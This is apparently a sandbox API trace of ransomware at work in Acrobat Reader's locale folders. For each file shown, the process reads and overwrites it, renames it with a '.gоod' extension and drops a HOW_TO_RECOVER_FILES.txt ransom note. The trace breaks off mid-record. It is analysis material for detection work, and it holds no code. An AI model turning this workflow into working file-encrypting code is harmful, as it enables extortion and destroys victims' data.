SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0140.027] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ko-kr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ko-kr\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0140.028] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0140.028] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ko-kr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\ko-kr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x39f14f8 | out: lpFileInformation=0x39f14f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xe5a)) returned 1 [0140.028] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0140.028] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ko-kr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ko-kr\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0140.028] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0140.028] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ko-kr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\ko-kr\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0140.028] GetFileType (hFile=0x7dc) returned 0x1 [0140.028] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0140.028] GetFileType (hFile=0x7dc) returned 0x1 [0140.028] GetFileSize (in: hFile=0x7dc, lpFileSizeHigh=0x1ffebad8 | out: lpFileSizeHigh=0x1ffebad8*=0x0) returned 0xe5a [0140.028] ReadFile (in: hFile=0x7dc, lpBuffer=0x39f26c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba08, lpOverlapped=0x0 | out: lpBuffer=0x39f26c0*, lpNumberOfBytesRead=0x1ffeba08*=0xe5a, lpOverlapped=0x0) returned 1 [0140.030] CloseHandle (hObject=0x7dc) returned 1 [0140.703] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ko-kr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ko-kr\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0140.703] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0140.703] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ko-kr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\ko-kr\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0140.704] GetFileType (hFile=0x630) returned 0x1 [0140.704] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0140.704] GetFileType (hFile=0x630) returned 0x1 [0140.704] WriteFile (in: hFile=0x630, lpBuffer=0x39a4eb8*, nNumberOfBytesToWrite=0xe60, lpNumberOfBytesWritten=0x1ffeb918, lpOverlapped=0x0 | out: lpBuffer=0x39a4eb8*, lpNumberOfBytesWritten=0x1ffeb918*=0xe60, lpOverlapped=0x0) returned 1 [0140.705] CloseHandle (hObject=0x630) returned 1 [0140.705] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ko-kr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ko-kr\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0140.705] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ko-kr\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ko-kr\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7b [0140.705] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0140.705] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ko-kr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\ko-kr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x50143273, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe60)) returned 1 [0140.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0140.705] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ko-kr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\ko-kr\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ko-kr\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\ko-kr\\ui-strings.js.gоod")) returned 1 [0140.706] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ko-kr\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ko-kr\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0140.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0140.706] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ko-kr\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\ko-kr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0140.707] GetFileType (hFile=0x630) returned 0x1 [0140.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0140.707] GetFileType (hFile=0x630) returned 0x1 [0140.707] WriteFile (in: hFile=0x630, lpBuffer=0x39a8728*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x39a8728*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0140.709] CloseHandle (hObject=0x630) returned 1 [0140.709] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0140.709] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nb-no", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nb-no", lpFilePart=0x0) returned 0x68 [0140.709] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nb-no\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0140.709] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.709] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xe55, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0140.710] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0140.710] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0140.710] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0140.710] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0140.710] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0140.710] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nb-no", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nb-no", lpFilePart=0x0) returned 0x68 [0140.710] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nb-no\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0140.710] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.710] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xe55, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0140.710] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xe55, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0140.711] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0140.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0140.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0140.711] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nb-no\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nb-no\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0140.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0140.711] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nb-no\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\nb-no\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x39b82e0 | out: lpFileInformation=0x39b82e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xe55)) returned 1 [0140.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0140.711] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nb-no\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nb-no\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0140.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0140.711] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nb-no\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\nb-no\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0140.712] GetFileType (hFile=0x630) returned 0x1 [0140.712] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0140.712] GetFileType (hFile=0x630) returned 0x1 [0140.712] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1ffebad8 | out: lpFileSizeHigh=0x1ffebad8*=0x0) returned 0xe55 [0140.712] ReadFile (in: hFile=0x630, lpBuffer=0x39b94a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba08, lpOverlapped=0x0 | out: lpBuffer=0x39b94a0*, lpNumberOfBytesRead=0x1ffeba08*=0xe55, lpOverlapped=0x0) returned 1 [0140.713] CloseHandle (hObject=0x630) returned 1 [0140.740] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nb-no\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nb-no\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0140.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0140.740] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nb-no\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\nb-no\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0140.741] GetFileType (hFile=0x630) returned 0x1 [0140.741] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0140.741] GetFileType (hFile=0x630) returned 0x1 [0140.742] WriteFile (in: hFile=0x630, lpBuffer=0x3a356e0*, nNumberOfBytesToWrite=0xe60, lpNumberOfBytesWritten=0x1ffeb918, lpOverlapped=0x0 | out: lpBuffer=0x3a356e0*, lpNumberOfBytesWritten=0x1ffeb918*=0xe60, lpOverlapped=0x0) returned 1 [0140.996] CloseHandle (hObject=0x630) returned 1 [0141.031] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nb-no\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nb-no\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0141.031] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nb-no\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nb-no\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7b [0141.031] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0141.031] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nb-no\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\nb-no\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x50417ea4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe60)) returned 1 [0141.031] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0141.031] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nb-no\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\nb-no\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nb-no\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\nb-no\\ui-strings.js.gоod")) returned 1 [0141.032] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nb-no\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nb-no\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0141.032] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0141.032] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nb-no\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\nb-no\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e4 [0141.032] GetFileType (hFile=0x6e4) returned 0x1 [0141.032] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0141.033] GetFileType (hFile=0x6e4) returned 0x1 [0141.033] WriteFile (in: hFile=0x6e4, lpBuffer=0x3a5a360*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x3a5a360*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0141.034] CloseHandle (hObject=0x6e4) returned 1 [0141.034] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0141.034] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nl-nl", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nl-nl", lpFilePart=0x0) returned 0x68 [0141.034] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nl-nl\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0141.035] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.035] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xe22, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0141.035] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, 